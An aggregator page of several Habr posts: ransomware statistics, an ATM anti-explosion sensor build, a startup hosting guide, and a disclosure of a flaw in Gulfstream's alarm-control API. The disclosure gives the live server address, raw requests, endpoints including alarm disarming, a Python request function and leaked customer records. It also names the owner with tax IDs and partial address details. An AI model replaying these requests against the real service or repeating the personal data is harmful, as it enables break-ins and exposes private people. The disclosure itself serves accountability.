                            Cerber была обнаружена в марте 2016 года и была названа по имени расширения файлов. С марта по декабрь она поразила свыше 600 тыс. ПК.

                            На нелегальных форумах Cerber предлагается «программа-шантажист как служба», поэтому злоумышленники могут рассылать ее без написания вредоносного кода. Ее работа в значительной степени определяется файлом конфигурации. Последняя версия Cerber может шифровать почти 500 типов файлов. Известно, что при поиске файлов для шифрования программа умеет выделять наиболее приоритетные папки. Распространяется Cerber в основном через рассылку нежелательной почты, содержащей загрузчик Donoff, выполняющий ее установку.



                            Рис. 4. Частота обнаружения Cerber резко сократилась с сентября, при этом распространенность Donoff, загрузчика Cerber, начала расти в декабре.

                            Также известно, что инфицирование вирусом Cerber производится посредством Meadgive или эксплойта RIG. Meadgive был ведущим эксплойтом в конце 2016 года.

                            Locky


                            В 2016 году Locky стала второй по распространенности программой-шантажистом, заразив свыше 500 тыс. компьютеров. Она была обнаружена в феврале и так же была названа по имени расширения файла. С тех пор она использует и другие расширения, в том числе .zepto, .odin, .thor, .aeris и .osiris.

                            Как и с Cerber, операторы по рассылке нежелательной почты подписываются на Locky как на «программу-шантажист как служба». Она содержит код для подпрограммы-шифровальщика, а также может получать ключи шифрования и сообщения о выкупе с удаленного сервера до шифрования файлов.

                            Изначально Locky распространялась через эксплойт Neutrino, позже стали использоваться рассылки нежелательной почты с вирусом Nemucod, который загружал и запускал Locky.



                            Рис. 5. Частота обнаружений Nemucod во второй половине 2016 года оставалась постоянной, несмотря на то что распространенность Locky за этот период существенно снизилась

                            Программы-шантажисты как глобальная угроза


                            В 2016 году программы-шантажисты превратились в реальную глобальную угрозу и были обнаружены более чем в 200 странах. Только в США программы-шантажисты поразили свыше 460 тыс. ПК. Следом идут Италия и Россия (252 тыс. и 192 тыс. случаев обнаружения соответственно). В Корее, Испании, Германии, Австралии и Франции зарегистрировано свыше 100 тыс. случаев инфицирования.



                            Рис. 6. Инфицирование программами-шантажистами зарегистрировано более чем в 200 странах

                            Наибольшее количество случаев инфицирования Cerber зарегистрировано в США: 27 % от общего числа заражений этим вирусом в мире. Другая мощная программа-шантажист, Locky, была обнаружена в 2016 году. Она стала вторым из наиболее распространенных семейств программ-шантажистов в США.

                            В Италии и России, напротив, более распространены старые версии программ-шантажистов. В Италии отмечено больше всего случаев инфицирования вирусом Critroni, который появился в 2014 году. Когда программа-шантажист Critroni только появилась, ее сообщения о выкупе были составлены на английском и русском языках. В последующих версиях появились другие европейские языки, включая итальянский.

                            Вирус Troldesh, обнаруженный в 2015 году, стал лидирующим по количеству заражений в России. После шифрования файлов Troldesh выводил на рабочий стол сообщение на русском и английском языках, в котором содержались указания о том, как связаться со злоумышленниками, и инструкции по оплате.



                            Рис. 7. Страны с наибольшей распространенностью программ-шантажистов — США, Италия, Россия, Корея, Испания — находятся под воздействием разных семейств вирусов, возможно из-за локального характера кампаний по рассылке нежелательной почты

                            Заключение: растущая угроза требует новых мер противодействия


                            Несмотря на спад в общем распространении программ-шантажистов, векторы атак, количество уникальных семейств вирусов и усовершенствования вредоносного кода говорят о том, что мы еще не видим конец этой многофакторной угрозы безопасности.

                            Microsoft создала и постоянно совершенствует ОС Windows 10, чтобы ваши средства защиты были напрямую встроены в операционную систему.

                            Защита от заражений программами-шантажистами


                            Большинство случаев инфицирования программами-шантажистами начинаются с получения писем по электронной почте, содержащих трояны-загрузчики. Это основной вектор, применяемый злоумышленниками для установки программ-шантажистов. Служба Advanced Threat Protection в Office 365 обладает возможностями машинного обучения, которые блокируют опасные письма, содержащие загрузчики программ-шантажистов.

                            Некоторые программы-шантажисты проникают на компьютеры посредством эксплойтов. Браузер Microsoft Edge поможет защитить ваш компьютер от программ-шантажистов, запрещая эксплойтам запускать и исполнять эти вирусы. Благодаря Microsoft SmartScreen браузер Microsoft Edge блокирует доступ к вредоносным веб-сайтам, которые могут содержать эксплойты.

                            Device Guard может блокировать устройства и обеспечивать защиту на уровне виртуализации ядра, разрешая запуск только доверенных приложений и запрещая запуск программ-шантажистов и другого опасного ПО.

                            Обнаружение программ-шантажистов


                            Создатели программ-шантажистов, возможно, являются одними из самых продуктивных злоумышленников, постоянно создающих новые семейства вирусов и обновляющих существующие. Они также весьма изобретательны в выборе векторов атаки для установки программ-шантажистов на ваши компьютеры.

                            Windows 10 помогает немедленно обнаружить атаку программы-шантажиста при первых признаках ее возникновения. Windows Defender Antivirus обнаруживает программы-шантажисты, а также эксплойты и трояны-загрузчики, которые их устанавливают. Используя облачные технологии, этот антивирус помогает защитить ваш компьютер от новейших угроз.

                            Windows Defender Antivirus встроен в Windows 10 и при включении обеспечивает защиту ПК от угроз в режиме реального времени. Регулярно обновляйте Windows Defender Antivirus и другое ПО для наиболее актуальной защиты вашего ПК.

                            Реагирование на атаки программ-шантажистов


                            Windows Defender Advanced Threat Protection (Windows Defender ATP) уведомляет специалистов системы безопасности о подозрительной активности. Эти действия характерны для некоторых семейств программ-шантажистов, таких как Cerber, и возможно, будут свойственны программам-шантажистам в будущем.

                            Ознакомительная версия Windows Defender ATP представляется бесплатно.

                            Усиленная защита в Windows 10 Creators Update


                            Среди существующих средств защиты наиболее мощным станет Windows 10 Creators Update, включающий Windows Defender Antivirus и интеграцию с Office 365 для создания многоуровневой защиты, уменьшающей уязвимость электронной почты для атак.

                            Windows Defender Antivirus усилит возможности контекстного распознавания и машинного обучения, которые выявляют поведенческие аномалии и помогают обнаруживать вирусы в разных точках цепочки инфицирования. Улучшенная интеграция с аналитикой угроз обеспечивает более быструю блокировку нежелательной почты.

                            Windows Defender ATP позволяет специалистам службы безопасности изолировать скомпрометированные ПК из корпоративной сети, прекращая распространение вируса в сети.

                            Это обновление также позволяет задать типы файлов, помещаемых на карантин, и запретить их последующее исполнение.

                            Угроза программ-шантажистов, возможно, еще не скоро исчезнет, однако Windows 10 будет по-прежнему совершенствовать защиту от этого вредоносного ПО.



                            Завтра, 27 сентября, в 10:00 (МСК) у нас пройдет международный онлайн-форум «You Trust IT. Путь к безопасности бизнеса!», на котором вы узнаете как обезопасить свой проект, избежать внешние угроз, минимизировать риски потери важной бизнес-информации и избежать убытков.

                            Участие бесплатно.
                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/338690/


                            Метки:  

                            Как мы банкоматы от подрыва спасали

                            Вторник, 26 Сентября 2017 г. 16:03 + в цитатник
                            oWart сегодня в 16:03 Разработка

                            Как мы банкоматы от подрыва спасали

                              Дело было вечером, делать было нечего… решили мы банкомат взорвать исследовать. Не настоящий конечно, а тот, что на фото. Ну как… банкомат-то настоящий, но давно списанный и выступал для нас подопытным кроликом. Низкий поклон тем, у кого получается их грабить: я его и болгаркой пилил, и дрелью сверлил, и кувалдой долбил, и поджигал – ничего не берет, крепкий зараза, а современные и вовсе понадежнее будут.

                              Решил вот немного рассказать про свой опыт создания многофункционального прибора для защиты банкоматов. Статья имеет скорее повествовательный, нежели технический характер, но думаю, кому-нибудь да будет интересно почитать и посмотреть фотографии. В статье намеренно отсутствуют всевозможные имена действующих лиц / приборов / фирм.

                              Описание проблемы


                              Повадились у нас в стране взрывать банкоматы газом. Да так, что после этого помещение напоминает полигон военных действий.



                              Вот несколько фото с взрыва в городе Вязьма, Смоленской области в марте 2016 года.





                              Способ, признаться, интересный: дверь сейфа выбивает взрывной волной изнутри, а кассеты с деньгами остаются целыми – хватай да беги. Самый забавный случай был в Уфе в июне 2016 года. Воришка пришел в отделение банка с воздушными шарами, наполненными газом. И смех и грех…



                              Видео с камер наблюдения:



                              Вот вам даже шутка на этой волне:



                              Что имеется на данный момент


                              На данный момент в большинстве банкоматов установлены вибрационные охранные извещатели, которые срабатывают на механические воздействия: удары, наклон, вибрацию. Попробуйте стукнуть по банкомату ногой 3-5 раз, тут же приедут маски шоу.

                              Я специально ездил на 24-ю международную выставку технических средств охраны Securika в Санкт-Петербург в ноябре 2015 г., чтобы разузнать, что представлено на рынке в этой области.
                              Оффтопик:
                              Пожалуй, самый лучший момент за всю выставку (дико извиняюсь за вертикальное видео, отдельный котёл в аду меня уже ждет):



                              Один из приборов внутри выглядит вот так:



                              Достаточно простой прибор с цифровым акселерометром, пьезодатчиком вибрации с двумя каскадами усиления и микроконтроллером PIC16.

                              Его более старая модель (отковыряли от стенки банкомата):



                              Что необходимо


                              А необходимо нам измерять наличие газа в сейфе банкомата. Ну и про наклон/вибрацию не забываем, не будет же банк ставить в один банкомат несколько разных охранных приборов. Еще была необходимость реагировать на внутреннее задымление, ибо газовый резак неплохо дымит, а мы ведь должны защититься от всего.

                              Еще есть вариант именно защиты от подрыва, а не просто сигнализации: ставить в банкомат баллон с флегматизатором (вещество, противодействие взрыву газо-воздушной смеси) и заводить на клапан управляющий сигнал с датчика газа. Если прибор почуял газ, он открывает клапан баллона, флегматизатор выпускается в объем банкомата и поджег смеси становится невозможным. Такой вариант весьма дорогой, но, при желании, реализуем путем установки дополнительного оборудования.

                              Предполагаемое решение


                              Соорудить многофункциональный приборчик, который будет иметь в себе датчики:

                              • горючего газа (на термохимическом принципе измерения);
                              • наклона (цифровой акселерометр);
                              • дыма (оптическая камера);
                              • вибрации (пьезопластина на металлической чушке);
                              • отрыва от охраняемой поверхности (концевик);
                              • вскрытия корпуса прибора (концевик).

                              … и всевозможные релюшки для выдачи управляющего сигнала на пульт контроля (чаще всего на размыкание 12 В).

                              Датчик газа


                              Признаюсь, сначала мы попытались собрать прибор на китайском полупроводниковом датчике MQ-2, так любимом ардуинщиками за свою простоту. Мне стыдно, но решение принималось выше. Была маленькая надежда объединить в одном датчике газ и дым, т.к на нем заявлена чувствительность к дыму. Но мы достаточно быстро от него отказались: не удалось добиться стабильности показаний, он плавал сильнее необходимых погрешностей. Перешли на знакомую нам термохимию.

                              Информация с Wiki
                              Действие термохимического датчика основано на том, что при прохождении газо-воздушной смеси на поверхности катализатора возникает горение и выделяющееся тепло повышает температуру шарика. Вызванное этим увеличение сопротивления платиновой катушки регистрируется мостовой схемой, второе плечо которой не имеет оболочки — катализатора. При малых концентрациях изменение сопротивления находится в прямой зависимости от концентрации газа в окружающей среде. Типичное напряжение на датчике- несколько вольт, ток 0,1-0,3 ампера.

                              Термохимия в плане схемотехники тоже не особо требовательна: управляемый стабилизатор напряжения на ОУ с возможностью обеспечить плавный старт секунд за 40 и дифференциальный усилитель для усиления сигнала с моста датчика.

                              Акселерометр


                              С акселерометром вот у нас как-то сразу не заладилось. В отделе САПРа ошиблись с корпусом микросхемы, а я не заметил это при проверке, и мы выгнали платы в таком виде.

                              В комментариях к моей вчерашней статье на GT про производство печатных плат обсуждали возможность монтажа мелких корпусов на проводах… Я там как раз упомянул конкретно про этот случай: нам пришлось перевернуть акселерометр на спину и распаиваться тонким проводом МГТФ. Потом сверху капнули термоклеем и успешно отдали на испытания. Акселерометр взяли в корпусе LGA-14 (2x2x1мм), можете прикинуть по линейке 2мм, и каково это было.

                              При установке на стенку сейфа банкомата, прибор запоминает свое начальное положение и, в последствии, отсчитывает от него угол отклонения. В случае превышения заданного порога, выдается управляющий сигнал на реле. Акселерометр в данном случае используется только для определения угла наклона. Мы конечно пробовали снимать с него вибрацию, но особых успехов это не принесло.

                              Датчик дыма


                              В качестве датчика дыма использовалась оптическая камера вот такой конструкции. Принцип действия как во многих дымовых извещателях: инфракрасный светодиод светит в центр, свет на частицах дыма/пыли рассеивается (я заботливо нарисовал пыль в Paint’е) и некоторое количество попадает на принимающий фотодиод. Интенсивность задымления / запыления пропорциональна сигналу с фотодиода.

                              Правда, мы долго не могли подобрать эквивалент оптической плотности. Ведь использовать обычную оптическую меру, оптическая плотность которой нормируется на прямом пути прохождения оптического сигнала (такие у нас были в наличии), нельзя, т.к светодиод и фотодиод в камере расположены под углом 120 градусов друг к другу. Кто сталкивался с такими пожарными датчиками? Как их настраивают?

                              Для градуировки пришлось использовать реальный дымомер и поджигать тряпки в дымовой камере. Таким образом мы подобрали набор эквивалентных оптических мер и настроили порог срабатывания датчика. Правда, провонял я тогда прилично, было стыдно потом занимать очередь в столовой…

                              To be continued...


                              Дабы статья не получилась слишком тяжеловесной, сегодня я решил на этом остановиться.
                              Original source: habrahabr.ru (comments, light).

                              https://habrahabr.ru/post/338726/


                              Метки:  

                              [Из песочницы] Сага о Гольфстриме и гопниках

                              Вторник, 26 Сентября 2017 г. 15:56 + в цитатник
                              EXPOCOD сегодня в 15:56 Разработка

                              Сага о Гольфстриме и гопниках

                              Данная публикация носит исключительно информационный характер и призвана обратить внимание руководства крупного российского оператора систем охранной сигнализации "ГОЛЬФСТРИМ Охранные Системы" (далее — ГОЛЬФСТРИМ) на наличие уязвимости информационной системы, ставящей под удар защиту и безопасность граждан, а также федеральных органов исполнительной власти, доверивших защиту своего имущества данной компании.


                              ВНИМАНИЕ: Рекомендуем читать текст под музыку группы Каста-Скрепы, очень помогает глубже понять всю безнадежность ситуации, описанной ниже...


                              Предисловие


                              В нелёгкое время "цифровой экономики" и властных попыток зарегулировать Интернет, хотелось бы внести свою скромную лепту в совершенствование этого Мира и осветить отношение к ИБ со стороны одной частной компании. В нашей публикации мы покажем, как компания ГОЛЬФСТРИМ продемонстрировала свое наплевательское отношение к данному вопросу подставив тем самым не только рядовых пользователей-граждан, но также и органы исполнительной власти.


                              Некоторое время назад в распоряжении компании "Expocod" оказалась информация о наличии серьёзной уязвимости в информационной системе компании "ГОЛЬФСТРИМ". По имеющимся у нас достоверным данным, уязвимость позволяет получить доступ к персональным данным пользователей системы охранной сигнализации, а также осуществить удалённое управление состоянием сигнализации огромного количества объектов.


                              С момента получения данной информации нами предпринимались неоднократные попытки связаться с руководством компании "ГОЛЬФСТРИМ", однако до настоящего времени ни одна из таких попыток не увенчалась успехом (4 электронных письма, 3 телефонных звонка, сообщения в Telegram, визит в офис и очное общение с представителями компании). Учитывая то, что компания Expocod ставит своей задачей повышение общего уровня информационной безопасности в России, а также факты игнорирования представителями компании "ГОЛЬФСТРИМ" наших многочисленных сигналов, было принято решение о публикации имеющейся в нашем распоряжении информации в СМИ с раскрытием общих технических подробностей.


                              Общая информация о компании "ГОЛЬФСТРИМ Охранные Системы"


                              Исходя из информации, представленной на официальном сайте компании, группа компаний ГОЛЬФСТРИМ работает на рынке охраны без малого 23 года. Реклама с официального сайта гласит, что 23 года работы ГОЛЬФСТРИМ это (цитируем): «решения проверенные временем, 75 тысяч клиентов, качество на каждом этапе, квалификация персонала...».


                              Беглый поиск по базе сведений о государственной регистрации юридических лиц даёт следующее:


                              • ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ СЛУЖБА ОХРАНЫ"
                                ОГРН/ИНН 1107746777380/7715829624
                                Дата регистрации 23.09.2010
                                Уставный капитал 250000р
                                Генеральный директор ИВАНОВ АЛЕКСЕЙ ВЛАДИМИРОВИЧ (ИНН 504008784580)
                                Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 100%)
                              • ОБЩЕСТВО С ОГРАНИЧЕННОЙ ОТВЕТСТВЕННОСТЬЮ ЧАСТНАЯ ОХРАННАЯ ОРГАНИЗАЦИЯ "ГОЛЬФСТРИМ ОХРАННЫЕ СИСТЕМЫ"
                                ОГРН/ИНН 1097746799875/7715787653
                                Дата регистрации 14.12.2009
                                Уставный капитал 250000р
                                Генеральный директор САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ
                                Учредители ПИСЬМАН ВЕНИАМИН ФОНЕВИЧ (доля 99%), САМОДУМСКИЙ СТАНИСЛАВ АЛЕКСАНДРОВИЧ (доля 1%)

                              Итак, открытые источники подсказывают, что владельцем (и предстедателем совета директоров) компании "ГОЛЬФСТРИМ" является некто Письман Вениамин Фоневич (ИНН 771805121540):



                              Пользуясь возможностью, передаём пламенный привет Вениамину Фоневичу и просим обратить внимание на действия или бездействия сотрудников его компании которые, будучи информированными задолго до выхода в свет данного материала не предприняли решительно никаких попыток отреагировать.



                              Переходя непосредственно к технической части нашего повествования, стоит ещё раз особо отметить, что компания "Expocod" располагает достоверной информацией о наличии уязвимости. Однако, ввиду того что данная уязвимость была обнаружена независимым исследователем безопасности, мы располагаем лишь частичными подробностями и не располагаем данными, которые могли были получены с использованием данной уязвимости. По договорённости с автором и с его разрешения мы публикуем технические подробности без указания важных деталей, знание которых необходимо для успешной эксплуатации.


                              Описание уязвимости


                              Уязвимость существует в протоколе взаимодействия мобильного приложения (МП) с центром управления (ЦУ). На момент публикации, исследованным является протокол обмена между приложением для iOS (последняя версия приложения от 29/06/2017). Протокол представляет собой REST-подобный интерфейс, построенный поверх HTTP. Запросы к ЦУ имеют следующий формат:


                              POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1
                              Accept: */*,
                              Accept-Encoding: gzip, deflate
                              Accept-Language: en-us
                              Connection: keep-alive
                              Content-Type: application/json
                              Proxy-Connection: keep-alive
                              User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
                              
                              { userID: [userID], userToken: [userToken] }

                              Первое, что бросается в глаза — отсутствие какого-либо шифрования данных. То есть обмен критичной информацией между МП и ЦУ осуществляется по открытому каналу связи без какой-либо защиты от пассивного прослушивания! Не используется также и технология certificate pinning, которая могла бы способствовать защите от MiTM атак на канал управления. В нашем случае протокол легко анализируется с помощью приложения mitmproxy, использовать который может даже школьник (а ведь приложение управления сигнализацией создано для серьезных вещей).


                              Следующий шаг следует вероятно начать с описания таких параметров как userID и userToken. Очевидно, что userID представляет собой идентификатор пользователя мобильного приложения, тогда как userToken — токен, позволяющий данному пользователю получить доступ к функциям системы. Рассмотрим подробнее функцию регистрации пользователя в системе:


                              POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1
                              Accept: */*,
                              Accept-Encoding: gzip, deflate
                              Accept-Language: en-us
                              Connection: keep-alive
                              Content-Type: application/json
                              Proxy-Connection: keep-alive
                              User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0
                              
                              { contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }

                              Данная функция осуществляет регистрацию МП в системе. Параметрами регистрации являются номер договора и уникальный идентификатор устройства. Ниже представлены ответы системы на попытки регистрации нового устройства для одного и того же договора с разными значениями deviceToken:


                              deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae
                              Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}}
                              
                              deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341
                              Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}}
                              
                              deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A
                              Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}

                              Как видно, ответом на запрос является JSON-структура, содержащая в том числе поля userID и userToken. Кроме того, в ответе есть частично скрытый номер телефона владельца контракта. Также можно видеть, что в данный момент в системе около 72 тысяч пользователей (или попыток регистрации МП, т.к. каждая попытка с новым deviceToken выдаёт новый "уникальный" userID).


                              Однако самым удивительным открытием является следующее: номера userID выдаются последовательно, а в структуре токена userToken прослеживается некая закономерность… Можно предположить, что userToken каким-то образом зависит от userID, то есть userToken = f(userID). Но что это за функция?


                              Мы не располагаем информацией каким именно образом исследователю безопасности, который связался с нами и передал данную инфомацию, удалось установить точную функцию, но по его словам этой функцией оказался… обычный XOR!


                              Таким образом, зная диапазон значений userID (0..72k) и функцию, по которой вычислять userToken, можно получить доступ, например, к следующим REST API системы:


                              GulfstreamWebServices/rest/profile/updateUserDeviceToken
                              GulfstreamWebServices/rest/profile/getCustomerDetails
                              GulfstreamWebServices/rest/profile/getCustomerProfileImage
                              GulfstreamWebServices/rest/panel/getEstimateArmState
                              GulfstreamWebServices/rest/panel/setArmState
                              GulfstreamWebServices/rest/panel/getEventHistory
                              GulfstreamWebServices/rest/panel/getNotifications
                              GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList
                              GulfstreamWebServices/rest/panel/getNotificationState
                              GulfstreamWebServices/rest/panel/getRemoteTags
                              GulfstreamWebServices/rest/panel/updateRemoteTagState
                              GulfstreamWebServices/rest/panel/getVideo
                              GulfstreamWebServices/rest/panel/getAllVideos
                              GulfstreamWebServices/rest/panel/getPanelCameraList

                              Представленный список отнюдь не является полным. В совокупности с возможностью перебора идентификации пользователей можно получить полную базу данных объектов охраны. Так, например, ниже представлена python-функция, запрашивающая информацию о пользователе:


                              def gs_api_get_customer_details(u, t):
                                  r = s.post(
                                       'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails',
                                       headers = {
                                           'Accept': '*/*',
                                           'Accept-Encoding': 'gzip, '
                                           'deflate',
                                           'Accept-Language': 'en-us',
                                           'Connection': 'keep-alive',
                                           'Content-Type': 'application/json',
                                           'Proxy-Connection': 'keep-alive',
                                           'User-Agent': 'SecurityApp/190 '
                                           'CFNetwork/811.5.4 '
                                           'Darwin/16.7.0' },
                                       json = {
                                           'userID': u,
                                           'userToken': t
                                       }
                              )
                              return r.json()

                              Проверим, что можно получить используя API profile/getCustomerDetails для пользователя с userID = 296:


                              {'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': 'Письман Вениамин Фоневич', 'address': 'обл. Московская, р-н Одинцовский, д. Ж******, тер Ж******-21, уч. *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}

                              Как видно, адрес объекта (скрыт намеренно) принажделжит НП "Жуковка-21", соучредителем которого, по информации из открытых источников, является сам
                              уважаемый Вениамин Фоневич:



                              Итак, некто с userID = 296 является до невозможности похожим на учредителя компании "ГОЛЬФСТРИМ". Информация, полученная ранее из публичных источников подтверждает подлинность этих данных.


                              Другим интересным методом API является panel/getVideo. С его помощью можно получить видео с камер, установленных на объекте в случае, если сигнализация оборудована соответствующим оборудованием. Для примера посмотрим видео пользователя с userID = 70072:


                              {'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': 'Тетовый Сахарный Андрей Инженерович', 'address': 'г. Москва, ул. Бутырская, д. 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': 'Мой дом', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': 'Москва (GMT+3)', 'timeZoneOffset': 180}}



                              Вероятно, данный объект представляет собой офис компании "ГОЛЬФСТРИМ".


                              Ещё одной интересной функцией является функция запроса информации о бесконтактных ключах: panel/getRemoteTags. С оборудованных бесконтактными ключами объектов можно получить информацию не только о серийных номерах ключей (что даст возможность сделать дубликат ключа), но также и отключить те или иные ключи, а также заменить их серийные номера. Следующая картинка демонстрирует использование mitmproxy и отображает серийники ключей для тестового стенда, расположенного в офисе компании (всё тот же userID = 70072, Паше и Коле — привет):



                              Ну и в завершении отметим, что помимо запроса информации с объектов данный протокол позволяет управлять состоянием сигнализации. Используя panel/setArmState можно включить и выключить сигнализацию на любом из 70 тысяч объектов не вставая с дивана. Занавес.


                              Основные выводы


                              Подводя итог нашему сумбурному изложению отметим, что в системе управления сигнализацией, разработанной компанией "ГОЛЬФСТРИМ", существуют ошибки, позволяющие как минимум:


                              • получать информацию о пользователях системы и объектах, где установлена данная сигнализация
                              • удалённо управлять сигнализацией — включать и отключать
                              • удалённо управлять бесконтактными ключами, включая возомжность добавления своих ключей или отключения существующий
                              • удалённо получать доступ к информации с камер наблюдения

                              Мы честно пытались довести данную информацию до представителей компании ГОЛЬФСТРИМ, а также до её руководства в течение без малого 2-х месяцев с момента получения нами данной информации. До настоящего времени данная ошибка НЕ исправлена. Можно только предположить, кто, как и в каких целях мог её использовать...


                              Резонно возникает вопрос — если учредитель компании доверяет охрану свого дома ГОЛЬФСТРИМу, то может ли это являться примером для подражания обычным гражданам, желающим "иметь право на безопасность"?


                              Наш ответ — НЕТ!


                              Также занимательно, что в числе объектов охраны ГОЛЬФСТРИМа есть объекты ФСО и УДП, расположенные на Рублево-Успенском шоссе, а также важные коммунальные госкомпании...


                              Интересно будет ли доволен директор ФСО Кочнев Д.В., узнав что на ряд ведомственных объектов можно пробраться кликнув мышкой? Впрочем добраться ему до господина Письмана и призвать к ответу за халатность, живущего судя по записям (ведь он же патриот собственной системы) рядышком в Жуковке, легко и просто – буквально рукой подать, а еще лучше прислать черный воронок.


                              P.S. Отдельно стоит отметить стиль общения СБ Гольфстрима и его сотрудников — то самое слово на г. в заголовке, которое первое приходит на ум после разговора (запись имеется).

                              Original source: habrahabr.ru (comments, light).

                              https://habrahabr.ru/post/338752/


                              Метки:  

                              Хостинг для стартапа: конструктор, облака или свое железо?

                              Вторник, 26 Сентября 2017 г. 15:06 + в цитатник
                              friifond сегодня в 15:06 Управление

                              Хостинг для стартапа: конструктор, облака или свое железо?



                                Какой хостинг выбрать? Этим вопросом рано или поздно задается любой стартап. Ответ в каждом случае придется искать самостоятельно — оценивать плюсы-минусы, прикидывать риски и считать бюджет. Максимально упростить этот процесс и систематизировать виды хостингов и их особенности нам помог выпускник ФРИИ и основатель проекта AdminDivision.ru Егор Андреев, который помогает стартапам Акселератора ФРИИ масштабировать свою IT-инфраструктуру.

                                Описание задачи всегда начинается одинаково: есть написанный код сайта, его нужно разместить на каком-то хостинге, чтобы клиенты получили доступ. Классический «дедовский» вариант — купить сервер, настроить его и разместить на нем сайт — плох уже тем, что за корректной работой «железа», операционной системы и софта придется следить самостоятельно. У основателей нового проекта на это нет ни времени, ни ресурсов. Поэтому стартапы активно пытаются использовать другие виды хостинга, чтобы сэкономить время и деньги, особенно на старте проекта. И здесь начинается самое интересное: поскольку все предложения разные, они отличаются по цене, объему услуг, степени ответственности хостинг-провайдера и другим параметрам. Как разобраться? Для начала принять общее правило: чем больше работ возьмет на себя провайдер, тем меньше головной боли достанется стартапу. Но нужно учитывать, что в дополнение стартап получает более высокий прайс и отсутствие возможности настраивать систему самостоятельно. Далее следуют нюансы, специфические для каждого вида хостинга.

                                1. Конструктор сайтов


                                Примеры: tilda, wix, lpgenerator.
                                Примерный чек: $10-$50 в месяц.



                                Это самый простой и заманчивый для стартапа вариант. Здесь поставщик услуги уже позаботился обо всем, вам даже не понадобится программист. Просто заходите, создаете свою страничку из шаблонов, нажимаете «сохранить» и все. Ваша страница видна миру — можно работать.

                                Такой формат идеален для посадочных страниц, сайтов-визиток, одностраничных сайтов с простейшей логикой (типа формы обратной связи или формы оплаты). Если ваш сайт должен быть многостраничным, иметь полноценную логику в виде каталога товаров и регистрации пользователей, а также другие дополнительные сервисы, то конструктор — не ваш оптимальный вариант. Лучше ищите другие виды хостинга.

                                2. Shared-хостинг


                                Еще его называют «Шаред» или просто «Хостинг».

                                Примеры: timeweb, masterhost, reg.ru.
                                Примерный чек: $2-$30 в месяц.



                                Самый дешевый вариант — разместить сайт на php. Shared-хостинг — это физически большой железный сервер, на котором созданы изолированные окружения для работы десятков и сотен клиентов хостинга. Вам выдается доступ к админке и логин/пароль для доступа к FTP. Вы выкладываете свой код — и он работает. При этом сотрудники хостинга (как правило, хмурые бородатые дяденьки) следят за тем, чтобы у вас не было проблем с «железом», операционной системой, базой данных, веб-сервером. Ваша зона ответственности — только код. Это значит, что вы не можете менять практически ничего в настройках сервера. Такой вариант отлично подойдет для сайтов на стандартных движках, блогов, небольших интернет-магазинов. Но есть два случая, при которых этот вид хостинга может принести проблемы.

                                1. Когда у сайта начинает расти показатель посещаемости. В этом случае либо все начинает «тормозить», либо хостер грозится перевести вас с тарифа за символические $2 на вполне ощутимые $50-100, а если не заплатите — отключить.

